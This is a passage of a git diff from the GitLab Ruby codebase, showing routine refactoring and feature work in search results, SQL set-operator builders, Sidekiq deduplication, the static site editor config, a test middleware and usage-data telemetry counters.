- @limit_projects = limit_projects || Project.all
@query = query
+ @limit_projects = limit_projects || Project.all
@default_project_filter = default_project_filter
+ @filters = filters
end
def objects(scope, page: nil, per_page: DEFAULT_PER_PAGE, without_count: true, preload_method: nil)
@@ -186,10 +187,12 @@ module Gitlab
params[:sort] = 'updated_desc'
if query =~ /#(\d+)\z/
- params[:iids] = $1
+ params[:iids] = Regexp.last_match(1)
else
params[:search] = query
end
+
+ params[:state] = filters[:state] if filters.key?(:state)
end
end
diff --git a/lib/gitlab/setup_helper.rb b/lib/gitlab/setup_helper.rb
index 64a30fbe16c..4df6a50c8dd 100644
--- a/lib/gitlab/setup_helper.rb
+++ b/lib/gitlab/setup_helper.rb
@@ -28,6 +28,25 @@ module Gitlab
end
# rubocop:enable Rails/Output
+ module Workhorse
+ extend Gitlab::SetupHelper
+ class << self
+ def configuration_toml(dir, _)
+ config = { redis: { URL: redis_url } }
+
+ TomlRB.dump(config)
+ end
+
+ def redis_url
+ Gitlab::Redis::SharedState.url
+ end
+
+ def get_config_path(dir)
+ File.join(dir, 'config.toml')
+ end
+ end
+ end
+
module Gitaly
extend Gitlab::SetupHelper
class << self
diff --git a/lib/gitlab/shell.rb b/lib/gitlab/shell.rb
index 24f49f6b943..3419989c110 100644
--- a/lib/gitlab/shell.rb
+++ b/lib/gitlab/shell.rb
@@ -116,7 +116,7 @@ module Gitlab
true
rescue => e
- Rails.logger.warn("Repository does not exist: #{e} at: #{disk_path}.git") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn("Repository does not exist: #{e} at: #{disk_path}.git")
Gitlab::ErrorTracking.track_exception(e, path: disk_path, storage: storage)
false
diff --git a/lib/gitlab/sherlock/query.rb b/lib/gitlab/sherlock/query.rb
index cbd89b7629f..6f1d2ad23c1 100644
--- a/lib/gitlab/sherlock/query.rb
+++ b/lib/gitlab/sherlock/query.rb
@@ -105,7 +105,7 @@ module Gitlab
query.each_line
.map { |line| line.strip }
.join("\n")
- .gsub(PREFIX_NEWLINE) { "\n#{$1} " }
+ .gsub(PREFIX_NEWLINE) { "\n#{Regexp.last_match(1)} " }
end
end
end
diff --git a/lib/gitlab/sidekiq_daemon/memory_killer.rb b/lib/gitlab/sidekiq_daemon/memory_killer.rb
index b8a4eedd620..e1a87a77f04 100644
--- a/lib/gitlab/sidekiq_daemon/memory_killer.rb
+++ b/lib/gitlab/sidekiq_daemon/memory_killer.rb
@@ -230,8 +230,10 @@ module Gitlab
end
def rss_increase_by_jobs
- Gitlab::SidekiqDaemon::Monitor.instance.jobs.sum do |job| # rubocop:disable CodeReuse/ActiveRecord
- rss_increase_by_job(job)
+ Gitlab::SidekiqDaemon::Monitor.instance.jobs_mutex.synchronize do
+ Gitlab::SidekiqDaemon::Monitor.instance.jobs.sum do |job| # rubocop:disable CodeReuse/ActiveRecord
+ rss_increase_by_job(job)
+ end
end
end
diff --git a/lib/gitlab/sidekiq_middleware/duplicate_jobs/client.rb b/lib/gitlab/sidekiq_middleware/duplicate_jobs/client.rb
index bb0c18735bb..6417ec20960 100644
--- a/lib/gitlab/sidekiq_middleware/duplicate_jobs/client.rb
+++ b/lib/gitlab/sidekiq_middleware/duplicate_jobs/client.rb
@@ -5,7 +5,7 @@ module Gitlab
module DuplicateJobs
class Client
def call(worker_class, job, queue, _redis_pool, &block)
- DuplicateJob.new(job, queue).schedule(&block)
+ ::Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob.new(job, queue).schedule(&block)
end
end
end
diff --git a/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb b/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
index 0dc53c61e84..5efd1b34d32 100644
--- a/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
+++ b/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
@@ -71,7 +71,7 @@ module Gitlab
end
def droppable?
- idempotent? && ::Feature.disabled?("disable_#{queue_name}_deduplication")
+ idempotent? && ::Feature.disabled?("disable_#{queue_name}_deduplication", type: :ops)
end
def scheduled_at
diff --git a/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies.rb b/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies.rb
index a08310a58ff..6fdef4c354e 100644
--- a/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies.rb
+++ b/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies.rb
@@ -7,7 +7,8 @@ module Gitlab
UnknownStrategyError = Class.new(StandardError)
STRATEGIES = {
- until_executing: UntilExecuting
+ until_executing: UntilExecuting,
+ none: None
}.freeze
def self.for(name)
diff --git a/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/none.rb b/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/none.rb
new file mode 100644
index 00000000000..cd101cd16b6
--- /dev/null
+++ b/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/none.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module SidekiqMiddleware
+ module DuplicateJobs
+ module Strategies
+ # This strategy will never deduplicate a job
+ class None
+ def initialize(_duplicate_job)
+ end
+
+ def schedule(_job)
+ yield
+ end
+
+ def perform(_job)
+ yield
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/snippet_search_results.rb b/lib/gitlab/snippet_search_results.rb
index 1d253ca90f3..41ec19f0da8 100644
--- a/lib/gitlab/snippet_search_results.rb
+++ b/lib/gitlab/snippet_search_results.rb
@@ -4,11 +4,8 @@ module Gitlab
class SnippetSearchResults < SearchResults
include SnippetsHelper
- attr_reader :current_user
-
def initialize(current_user, query)
- @current_user = current_user
- @query = query
+ super(current_user, query)
end
def objects(scope, page: nil, per_page: DEFAULT_PER_PAGE, preload_method: nil)
diff --git a/lib/gitlab/sourcegraph.rb b/lib/gitlab/sourcegraph.rb
index ec404ebd309..231d5aea129 100644
--- a/lib/gitlab/sourcegraph.rb
+++ b/lib/gitlab/sourcegraph.rb
@@ -12,8 +12,8 @@ module Gitlab
!feature.off?
end
- def feature_enabled?(thing = nil)
- feature.enabled?(thing)
+ def feature_enabled?(actor = nil)
+ feature.enabled?(actor)
end
private
diff --git a/lib/gitlab/sql/except.rb b/lib/gitlab/sql/except.rb
new file mode 100644
index 00000000000..82cbfa8d4ab
--- /dev/null
+++ b/lib/gitlab/sql/except.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module SQL
+ # Class for building SQL EXCEPT statements.
+ #
+ # ORDER BYs are dropped from the relations as the final sort order is not
+ # guaranteed any way.
+ #
+ # Example usage:
+ #
+ # except = Gitlab::SQL::Except.new([user.projects, user.personal_projects])
+ # sql = except.to_sql
+ #
+ # Project.where("id IN (#{sql})")
+ class Except < SetOperator
+ def self.operator_keyword
+ 'EXCEPT'
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/sql/intersect.rb b/lib/gitlab/sql/intersect.rb
new file mode 100644
index 00000000000..c661db3d4c5
--- /dev/null
+++ b/lib/gitlab/sql/intersect.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module SQL
+ # Class for building SQL INTERSECT statements.
+ #
+ # ORDER BYs are dropped from the relations as the final sort order is not
+ # guaranteed any way.
+ #
+ # Example usage:
+ #
+ # hierarchies = [group1.self_and_hierarchy, group2.self_and_hierarchy]
+ # intersect = Gitlab::SQL::Intersect.new(hierarchies)
+ # sql = intersect.to_sql
+ #
+ # Project.where("id IN (#{sql})")
+ class Intersect < SetOperator
+ def self.operator_keyword
+ 'INTERSECT'
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/sql/set_operator.rb b/lib/gitlab/sql/set_operator.rb
new file mode 100644
index 00000000000..d58a1415493
--- /dev/null
+++ b/lib/gitlab/sql/set_operator.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module SQL
+ # Class for building SQL set operator statements (UNION, INTERSECT, and
+ # EXCEPT).
+ #
+ # ORDER BYs are dropped from the relations as the final sort order is not
+ # guaranteed any way.
+ #
+ # Example usage:
+ #
+ # union = Gitlab::SQL::Union.new([user.personal_projects, user.projects])
+ # sql = union.to_sql
+ #
+ # Project.where("id IN (#{sql})")
+ class SetOperator
+ def initialize(relations, remove_duplicates: true)
+ @relations = relations
+ @remove_duplicates = remove_duplicates
+ end
+
+ def self.operator_keyword
+ raise NotImplementedError
+ end
+
+ def to_sql
+ # Some relations may include placeholders for prepared statements, these
+ # aren't incremented properly when joining relations together this way.
+ # By using "unprepared_statements" we remove the usage of placeholders
+ # (thus fixing this problem), at a slight performance cost.
+ fragments = ActiveRecord::Base.connection.unprepared_statement do
+ relations.map { |rel| rel.reorder(nil).to_sql }.reject(&:blank?)
+ end
+
+ if fragments.any?
+ "(" + fragments.join(")\n#{operator_keyword_fragment}\n(") + ")"
+ else
+ 'NULL'
+ end
+ end
+
+ # UNION [ALL] | INTERSECT [ALL] | EXCEPT [ALL]
+ def operator_keyword_fragment
+ remove_duplicates ? self.class.operator_keyword : "#{self.class.operator_keyword} ALL"
+ end
+
+ private
+
+ attr_reader :relations, :remove_duplicates
+ end
+ end
+end
diff --git a/lib/gitlab/sql/union.rb b/lib/gitlab/sql/union.rb
index b15f2ca385a..7fb3487a5e5 100644
--- a/lib/gitlab/sql/union.rb
+++ b/lib/gitlab/sql/union.rb
@@ -13,30 +13,9 @@ module Gitlab
# sql = union.to_sql
#
# Project.where("id IN (#{sql})")
- class Union
- def initialize(relations, remove_duplicates: true)
- @relations = relations
- @remove_duplicates = remove_duplicates
- end
-
- def to_sql
- # Some relations may include placeholders for prepared statements, these
- # aren't incremented properly when joining relations together this way.
- # By using "unprepared_statements" we remove the usage of placeholders
- # (thus fixing this problem), at a slight performance cost.
- fragments = ActiveRecord::Base.connection.unprepared_statement do
- @relations.map { |rel| rel.reorder(nil).to_sql }.reject(&:blank?)
- end
-
- if fragments.any?
- "(" + fragments.join(")\n#{union_keyword}\n(") + ")"
- else
- 'NULL'
- end
- end
-
- def union_keyword
- @remove_duplicates ? 'UNION' : 'UNION ALL'
+ class Union < SetOperator
+ def self.operator_keyword
+ 'UNION'
end
end
end
diff --git a/lib/gitlab/static_site_editor/config.rb b/lib/gitlab/static_site_editor/config.rb
deleted file mode 100644
index d335a434335..00000000000
--- a/lib/gitlab/static_site_editor/config.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module StaticSiteEditor
- class Config
- SUPPORTED_EXTENSIONS = %w[.md].freeze
-
- def initialize(repository, ref, file_path, return_url)
- @repository = repository
- @ref = ref
- @file_path = file_path
- @return_url = return_url
- @commit_id = repository.commit(ref)&.id if ref
- end
-
- def payload
- {
- branch: ref,
- path: file_path,
- commit_id: commit_id,
- project_id: project.id,
- project: project.path,
- namespace: project.namespace.full_path,
- return_url: sanitize_url(return_url),
- is_supported_content: supported_content?.to_s,
- base_url: Gitlab::Routing.url_helpers.project_show_sse_path(project, full_path)
- }
- end
-
- private
-
- attr_reader :repository, :ref, :file_path, :return_url, :commit_id
-
- delegate :project, to: :repository
-
- def supported_content?
- master_branch? && extension_supported? && file_exists?
- end
-
- def master_branch?
- ref == 'master'
- end
-
- def extension_supported?
- return true if file_path.end_with?('.md.erb') && Feature.enabled?(:sse_erb_support, project)
-
- SUPPORTED_EXTENSIONS.any? { |ext| file_path.end_with?(ext) }
- end
-
- def file_exists?
- commit_id.present? && !repository.blob_at(commit_id, file_path).nil?
- end
-
- def full_path
- "#{ref}/#{file_path}"
- end
-
- def sanitize_url(url)
- url if Gitlab::UrlSanitizer.valid_web?(url)
- end
- end
- end
-end
diff --git a/lib/gitlab/static_site_editor/config/file_config.rb b/lib/gitlab/static_site_editor/config/file_config.rb
new file mode 100644
index 00000000000..f647c85e1c8
--- /dev/null
+++ b/lib/gitlab/static_site_editor/config/file_config.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module StaticSiteEditor
+ module Config
+ class FileConfig
+ def data
+ {
+ static_site_generator: 'middleman'
+ }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/static_site_editor/config/generated_config.rb b/lib/gitlab/static_site_editor/config/generated_config.rb
new file mode 100644
index 00000000000..f3dce74a32f
--- /dev/null
+++ b/lib/gitlab/static_site_editor/config/generated_config.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module StaticSiteEditor
+ module Config
+ class GeneratedConfig
+ SUPPORTED_EXTENSIONS = %w[.md].freeze
+
+ def initialize(repository, ref, path, return_url)
+ @repository = repository
+ @ref = ref
+ @path = path
+ @return_url = return_url
+ end
+
+ def data
+ merge_requests_illustration_path = ActionController::Base.helpers.image_path('illustrations/merge_requests.svg')
+ {
+ branch: ref,
+ path: path,
+ commit_id: commit_id,
+ project_id: project.id,
+ project: project.path,
+ namespace: project.namespace.full_path,
+ return_url: sanitize_url(return_url),
+ is_supported_content: supported_content?.to_s,
+ base_url: Gitlab::Routing.url_helpers.project_show_sse_path(project, full_path),
+ merge_requests_illustration_path: merge_requests_illustration_path
+ }
+ end
+
+ private
+
+ attr_reader :repository, :ref, :path, :return_url
+
+ delegate :project, to: :repository
+
+ def commit_id
+ repository.commit(ref)&.id if ref
+ end
+
+ def supported_content?
+ master_branch? && extension_supported? && file_exists?
+ end
+
+ def master_branch?
+ ref == 'master'
+ end
+
+ def extension_supported?
+ return true if path.end_with?('.md.erb') && Feature.enabled?(:sse_erb_support, project)
+
+ SUPPORTED_EXTENSIONS.any? { |ext| path.end_with?(ext) }
+ end
+
+ def file_exists?
+ commit_id.present? && !repository.blob_at(commit_id, path).nil?
+ end
+
+ def full_path
+ "#{ref}/#{path}"
+ end
+
+ def sanitize_url(url)
+ url if Gitlab::UrlSanitizer.valid_web?(url)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/submodule_links.rb b/lib/gitlab/submodule_links.rb
index b0ee0877f30..38b10c5892d 100644
--- a/lib/gitlab/submodule_links.rb
+++ b/lib/gitlab/submodule_links.rb
@@ -4,14 +4,18 @@ module Gitlab
class SubmoduleLinks
include Gitlab::Utils::StrongMemoize
+ Urls = Struct.new(:web, :tree, :compare)
+
def initialize(repository)
@repository = repository
@cache_store = {}
end
- def for(submodule, sha)
+ def for(submodule, sha, diff_file = nil)
submodule_url = submodule_url_for(sha, submodule.path)
- SubmoduleHelper.submodule_links_for_url(submodule.id, submodule_url, repository)
+ old_submodule_id = old_submodule_id(submodule_url, diff_file)
+ urls = SubmoduleHelper.submodule_links_for_url(submodule.id, submodule_url, repository, old_submodule_id)
+ Urls.new(*urls) if urls.any?
end
private
@@ -29,5 +33,15 @@ module Gitlab
urls = submodule_urls_for(sha)
urls && urls[path]
end
+
+ def old_submodule_id(submodule_url, diff_file)
+ return unless diff_file&.old_blob && diff_file&.old_content_sha
+
+ # if the submodule url has changed from old_sha to sha, a compare link does not make sense
+ #
+ old_submodule_url = submodule_url_for(diff_file.old_content_sha, diff_file.old_blob.path)
+
+ diff_file.old_blob.id if old_submodule_url == submodule_url
+ end
end
end
diff --git a/lib/gitlab/task_helpers.rb b/lib/gitlab/task_helpers.rb
index 73187d8dea8..c702c6f1add 100644
--- a/lib/gitlab/task_helpers.rb
+++ b/lib/gitlab/task_helpers.rb
@@ -24,6 +24,8 @@ module Gitlab
# Returns "yes" the user chose to continue
# Raises Gitlab::TaskAbortedByUserError if the user chose *not* to continue
def ask_to_continue
+ return if Gitlab::Utils.to_boolean(ENV['GITLAB_ASSUME_YES'])
+
answer = prompt("Do you want to continue (yes/no)? ".color(:blue), %w{yes no})
raise Gitlab::TaskAbortedByUserError unless answer == "yes"
end
diff --git a/lib/gitlab/template/finders/global_template_finder.rb b/lib/gitlab/template/finders/global_template_finder.rb
index 3669d652fd3..9b39d386674 100644
--- a/lib/gitlab/template/finders/global_template_finder.rb
+++ b/lib/gitlab/template/finders/global_template_finder.rb
@@ -5,10 +5,10 @@ module Gitlab
module Template
module Finders
class GlobalTemplateFinder < BaseTemplateFinder
- def initialize(base_dir, extension, categories = {}, exclusions: [])
+ def initialize(base_dir, extension, categories = {}, excluded_patterns: [])
@categories = categories
@extension = extension
- @exclusions = exclusions
+ @excluded_patterns = excluded_patterns
super(base_dir)
end
@@ -43,7 +43,7 @@ module Gitlab
private
def excluded?(file_name)
- @exclusions.include?(file_name)
+ @excluded_patterns.any? { |pattern| pattern.match?(file_name) }
end
def select_directory(file_name)
diff --git a/lib/gitlab/template/gitlab_ci_yml_template.rb b/lib/gitlab/template/gitlab_ci_yml_template.rb
index 26a9dc9fd38..bb1e9db55fa 100644
--- a/lib/gitlab/template/gitlab_ci_yml_template.rb
+++ b/lib/gitlab/template/gitlab_ci_yml_template.rb
@@ -3,12 +3,16 @@
module Gitlab
module Template
class GitlabCiYmlTemplate < BaseTemplate
+ BASE_EXCLUDED_PATTERNS = [%r{\.latest$}].freeze
+
def content
explanation = "# This file is a template, and might need editing before it works on your project."
[explanation, super].join("\n")
end
class << self
+ include Gitlab::Utils::StrongMemoize
+
def extension
'.gitlab-ci.yml'
end
@@ -22,10 +26,14 @@ module Gitlab
}
end
- def disabled_templates
- %w[
- Verify/Browser-Performance
- ]
+ def excluded_patterns
+ strong_memoize(:excluded_patterns) do
+ BASE_EXCLUDED_PATTERNS + additional_excluded_patterns
+ end
+ end
+
+ def additional_excluded_patterns
+ [%r{Verify/Browser-Performance}]
end
def base_dir
@@ -34,7 +42,7 @@ module Gitlab
def finder(project = nil)
Gitlab::Template::Finders::GlobalTemplateFinder.new(
- self.base_dir, self.extension, self.categories, exclusions: self.disabled_templates
+ self.base_dir, self.extension, self.categories, excluded_patterns: self.excluded_patterns
)
end
end
diff --git a/lib/gitlab/testing/robots_blocker_middleware.rb b/lib/gitlab/testing/robots_blocker_middleware.rb
new file mode 100644
index 00000000000..034492122df
--- /dev/null
+++ b/lib/gitlab/testing/robots_blocker_middleware.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+# rubocop:disable Style/ClassVars
+module Gitlab
+ module Testing
+ class RobotsBlockerMiddleware
+ @@block_requests = Concurrent::AtomicBoolean.new(false)
+
+ # Block requests according to robots.txt.
+ # Any new requests disallowed by robots.txt will return an HTTP 503 status.
+ def self.block_requests!
+ @@block_requests.value = true
+ end
+
+ # Allows the server to accept requests again.
+ def self.allow_requests!
+ @@block_requests.value = false
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ request = Rack::Request.new(env)
+
+ if block_requests? && Gitlab::RobotsTxt.disallowed?(request.path_info)
+ block_request(env)
+ else
+ @app.call(env)
+ end
+ end
+
+ private
+
+ def block_requests?
+ @@block_requests.true?
+ end
+
+ def block_request(env)
+ [503, {}, []]
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb
index 37688d6e0e7..02d354ec43a 100644
--- a/lib/gitlab/tracking.rb
+++ b/lib/gitlab/tracking.rb
@@ -47,8 +47,7 @@ module Gitlab
cookie_domain: Gitlab::CurrentSettings.snowplow_cookie_domain,
app_id: Gitlab::CurrentSettings.snowplow_app_id,
form_tracking: additional_features,
- link_click_tracking: additional_features,
- iglu_registry_url: Gitlab::CurrentSettings.snowplow_iglu_registry_url
+ link_click_tracking: additional_features
}.transform_keys! { |key| key.to_s.camelize(:lower).to_sym }
end
@@ -56,12 +55,19 @@ module Gitlab
def snowplow
@snowplow ||= SnowplowTracker::Tracker.new(
- SnowplowTracker::AsyncEmitter.new(Gitlab::CurrentSettings.snowplow_collector_hostname, protocol: 'https'),
+ emitter,
SnowplowTracker::Subject.new,
SNOWPLOW_NAMESPACE,
Gitlab::CurrentSettings.snowplow_app_id
)
end
+
+ def emitter
+ SnowplowTracker::AsyncEmitter.new(
+ Gitlab::CurrentSettings.snowplow_collector_hostname,
+ protocol: 'https'
+ )
+ end
end
end
end
diff --git a/lib/gitlab/tracking/incident_management.rb b/lib/gitlab/tracking/incident_management.rb
index 5fa819b3696..df2a0658b36 100644
--- a/lib/gitlab/tracking/incident_management.rb
+++ b/lib/gitlab/tracking/incident_management.rb
@@ -35,6 +35,9 @@ module Gitlab
},
pagerduty_active: {
name: 'pagerduty_webhook'
+ },
+ auto_close_incident: {
+ name: 'auto_close_incident'
}
}.with_indifferent_access.freeze
end
diff --git a/lib/gitlab/usage_data.rb b/lib/gitlab/usage_data.rb
index 70efe86143e..89605ce5d07 100644
--- a/lib/gitlab/usage_data.rb
+++ b/lib/gitlab/usage_data.rb
@@ -38,6 +38,8 @@ module Gitlab
.merge(usage_activity_by_stage(:usage_activity_by_stage_monthly, last_28_days_time_period))
.merge(analytics_unique_visits_data)
.merge(compliance_unique_visits_data)
+ .merge(search_unique_visits_data)
+ .merge(redis_hll_counters)
end
end
@@ -110,6 +112,8 @@ module Gitlab
clusters_applications_jupyter: count(::Clusters::Applications::Jupyter.available),
clusters_applications_cilium: count(::Clusters::Applications::Cilium.available),
clusters_management_project: count(::Clusters::Cluster.with_management_project),
+ kubernetes_agents: count(::Clusters::Agent),
+ kubernetes_agents_with_token: distinct_count(::Clusters::AgentToken, :agent_id),
in_review_folder: count(::Environment.in_review_folder),
grafana_integrated_projects: count(GrafanaIntegration.enabled),
groups: count(Group),
@@ -129,6 +133,8 @@ module Gitlab
lfs_objects: count(LfsObject),
milestone_lists: count(List.milestone),
milestones: count(Milestone),
+ projects_with_packages: distinct_count(::Packages::Package, :project_id),
+ packages: count(::Packages::Package),
pages_domains: count(PagesDomain),
pool_repositories: count(PoolRepository),
projects: count(Project),
@@ -160,7 +166,8 @@ module Gitlab
user_preferences_usage,
ingress_modsecurity_usage,
container_expiration_policies_usage,
- service_desk_counts
+ service_desk_counts,
+ snowplow_event_counts
).tap do |data|
data[:snippets] = data[:personal_snippets] + data[:project_snippets]
end
@@ -168,6 +175,19 @@ module Gitlab
end
# rubocop: enable Metrics/AbcSize
+ def snowplow_event_counts(time_period: {})
+ return {} unless report_snowplow_events?
+
+ {
+ promoted_issues: count(
+ self_monitoring_project
+ .product_analytics_events
+ .by_category_and_action('epics', 'promote')
+ .where(time_period)
+ )
+ }
+ end
+
def system_usage_data_monthly
{
counts_monthly: {
@@ -176,9 +196,12 @@ module Gitlab
successful_deployments: deployment_count(Deployment.success.where(last_28_days_time_period)),
failed_deployments: deployment_count(Deployment.failed.where(last_28_days_time_period)),
# rubocop: enable UsageData/LargeTable:
+ packages: count(::Packages::Package.where(last_28_days_time_period)),
personal_snippets: count(PersonalSnippet.where(last_28_days_time_period)),
project_snippets: count(ProjectSnippet.where(last_28_days_time_period))
- }.tap do |data|
+ }.merge(
+ snowplow_event_counts(time_period: last_28_days_time_period(column: :collector_tstamp))
+ ).tap do |data|
data[:snippets] = data[:personal_snippets] + data[:project_snippets]
end
}
@@ -240,7 +263,8 @@ module Gitlab
Gitlab::UsageDataCounters::ProductivityAnalyticsCounter,
Gitlab::UsageDataCounters::SourceCodeCounter,
Gitlab::UsageDataCounters::MergeRequestCounter,
- Gitlab::UsageDataCounters::DesignsCounter
+ Gitlab::UsageDataCounters::DesignsCounter,
+ Gitlab::UsageDataCounters::KubernetesAgentCounter
]
end
@@ -264,6 +288,9 @@ module Gitlab
database: {
adapter: alt_usage_data { Gitlab::Database.adapter_name },
version: alt_usage_data { Gitlab::Database.version }
+ },
+ mail: {
+ smtp_server: alt_usage_data { ActionMailer::Base.smtp_settings[:address] }
}
}
end
@@ -371,7 +398,9 @@ module Gitlab
# so we can just check for subdomains of atlassian.net
results = {
projects_jira_server_active: 0,
- projects_jira_cloud_active: 0
+ projects_jira_cloud_active: 0,
+ projects_jira_dvcs_cloud_active: count(ProjectFeatureUsage.with_jira_dvcs_integration_enabled),
+ projects_jira_dvcs_server_active: count(ProjectFeatureUsage.with_jira_dvcs_integration_enabled(cloud: false))
}
# rubocop: disable UsageData/LargeTable:
@@ -399,7 +428,7 @@ module Gitlab
{
jira_imports_total_imported_count: count(finished_jira_imports),
jira_imports_projects_count: distinct_count(finished_jira_imports, :project_id),
- jira_imports_total_imported_issues_count: alt_usage_data { JiraImportState.finished_imports_count }
+ jira_imports_total_imported_issues_count: sum(JiraImportState.finished, :imported_issues_count)
}
# rubocop: enable UsageData/LargeTable
end
@@ -409,7 +438,7 @@ module Gitlab
def successful_deployments_with_cluster(scope)
scope
.joins(cluster: :deployments)
- .merge(Clusters::Cluster.enabled)
+ .merge(::Clusters::Cluster.enabled)
.merge(Deployment.success)
end
# rubocop: enable UsageData/LargeTable
@@ -419,16 +448,17 @@ module Gitlab
{} # augmented in EE
end
- # rubocop: disable CodeReuse/ActiveRecord
def merge_requests_users(time_period)
- distinct_count(
- Event.where(target_type: Event::TARGET_TYPES[:merge_request].to_s).where(time_period),
- :author_id,
- start: user_minimum_id,
- finish: user_maximum_id
- )
+ counter = Gitlab::UsageDataCounters::TrackUniqueEvents
+
+ redis_usage_data do
+ counter.count_unique_events(
+ event_action: Gitlab::UsageDataCounters::TrackUniqueEvents::MERGE_REQUEST_ACTION,
+ date_from: time_period[:created_at].first,
+ date_to: time_period[:created_at].last
+ )
+ end
end
- # rubocop: enable CodeReuse/ActiveRecord
def installation_type
if Rails.env.production?
@@ -438,8 +468,8 @@ module Gitlab
end
end
- def last_28_days_time_period
- { created_at: 28.days.ago..Time.current }
+ def last_28_days_time_period(column: :created_at)
+ { column => 28.days.ago..Time.current }
end
# Source: https://gitlab.com/gitlab-data/analytics/blob/master/transform/snowflake-dbt/data/ping_metrics_to_stage_mapping_data.csv
@@ -510,7 +540,22 @@ module Gitlab
events: distinct_count(::Event.where(time_period), :author_id),
groups: distinct_count(::GroupMember.where(time_period), :user_id),
users_created: count(::User.where(time_period), start: user_minimum_id, finish: user_maximum_id),
- omniauth_providers: filtered_omniauth_provider_names.reject { |name| name == 'group_saml' }
+ omniauth_providers: filtered_omniauth_provider_names.reject { |name| name == 'group_saml' },
+ projects_imported: {
+ gitlab_project: projects_imported_count('gitlab_project', time_period),
+ gitlab: projects_imported_count('gitlab', time_period),
+ github: projects_imported_count('github', time_period),
+ bitbucket: projects_imported_count('bitbucket', time_period),
+ bitbucket_server: projects_imported_count('bitbucket_server', time_period),
+ gitea: projects_imported_count('gitea', time_period),
+ git: projects_imported_count('git', time_period),
+ manifest: projects_imported_count('manifest', time_period)
+ },
+ issues_imported: {
+ jira: distinct_count(::JiraImportState.where(time_period), :user_id),
+ fogbugz: projects_imported_count('fogbugz', time_period),
+ phabricator: projects_imported_count('phabricator', time_period)
+ }
}
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -527,9 +572,13 @@ module Gitlab
end
# rubocop: enable CodeReuse/ActiveRecord
+ # rubocop: disable CodeReuse/ActiveRecord
def usage_activity_by_stage_package(time_period)
- {}
+ {
+ projects_with_packages: distinct_count(::Project.with_packages.where(time_period), :creator_id)
+ }
end
+ # rubocop: enable CodeReuse/ActiveRecord
# Omitted because no user, creator or author associated: `boards`, `labels`, `milestones`, `uploads`
# Omitted because too expensive: `epics_deepest_relationship_level`
@@ -542,7 +591,10 @@ module Gitlab
projects: distinct_count(::Project.where(time_period), :creator_id),
todos: distinct_count(::Todo.where(time_period), :author_id),
service_desk_enabled_projects: distinct_count_service_desk_enabled_projects(time_period),
- service_desk_issues: count(::Issue.service_desk.where(time_period))
+ service_desk_issues: count(::Issue.service_desk.where(time_period)),
+ projects_jira_active: distinct_count(::Project.with_active_jira_services.where(time_period), :creator_id),
+ projects_jira_dvcs_cloud_active: distinct_count(::Project.with_active_jira_services.with_jira_dvcs_cloud.where(time_period), :creator_id),
+ projects_jira_dvcs_server_active: distinct_count(::Project.with_active_jira_services.with_jira_dvcs_server.where(time_period), :creator_id)
}
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -583,9 +635,13 @@ module Gitlab
{}
end
+ def redis_hll_counters
+ { redis_hll_counters: ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events_data }
+ end
+
def analytics_unique_visits_data
- results = ::Gitlab::Analytics::UniqueVisits.analytics_ids.each_with_object({}) do |target_id, hash|
- hash[target_id] = redis_usage_data { unique_visit_service.unique_visits_for(targets: target_id) }
+ results = ::Gitlab::Analytics::UniqueVisits.analytics_events.each_with_object({}) do |target, hash|
+ hash[target] = redis_usage_data { unique_visit_service.unique_visits_for(targets: target) }
end
results['analytics_unique_visits_for_any_target'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics) }
results['analytics_unique_visits_for_any_target_monthly'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics, start_date: 4.weeks.ago.to_date, end_date: Date.current) }
@@ -594,8 +650,8 @@ module Gitlab
end
def compliance_unique_visits_data
- results = ::Gitlab::Analytics::UniqueVisits.compliance_ids.each_with_object({}) do |target_id, hash|
- hash[target_id] = redis_usage_data { unique_visit_service.unique_visits_for(targets: target_id) }
+ results = ::Gitlab::Analytics::UniqueVisits.compliance_events.each_with_object({}) do |target, hash|
+ hash[target] = redis_usage_data { unique_visit_service.unique_visits_for(targets: target) }
end
results['compliance_unique_visits_for_any_target'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :compliance) }
results['compliance_unique_visits_for_any_target_monthly'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :compliance, start_date: 4.weeks.ago.to_date, end_date: Date.current) }
@@ -603,41 +659,53 @@ module Gitlab
{ compliance_unique_visits: results }
end
+ def search_unique_visits_data
+ events = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category('search')
+ results = events.each_with_object({}) do |event, hash|
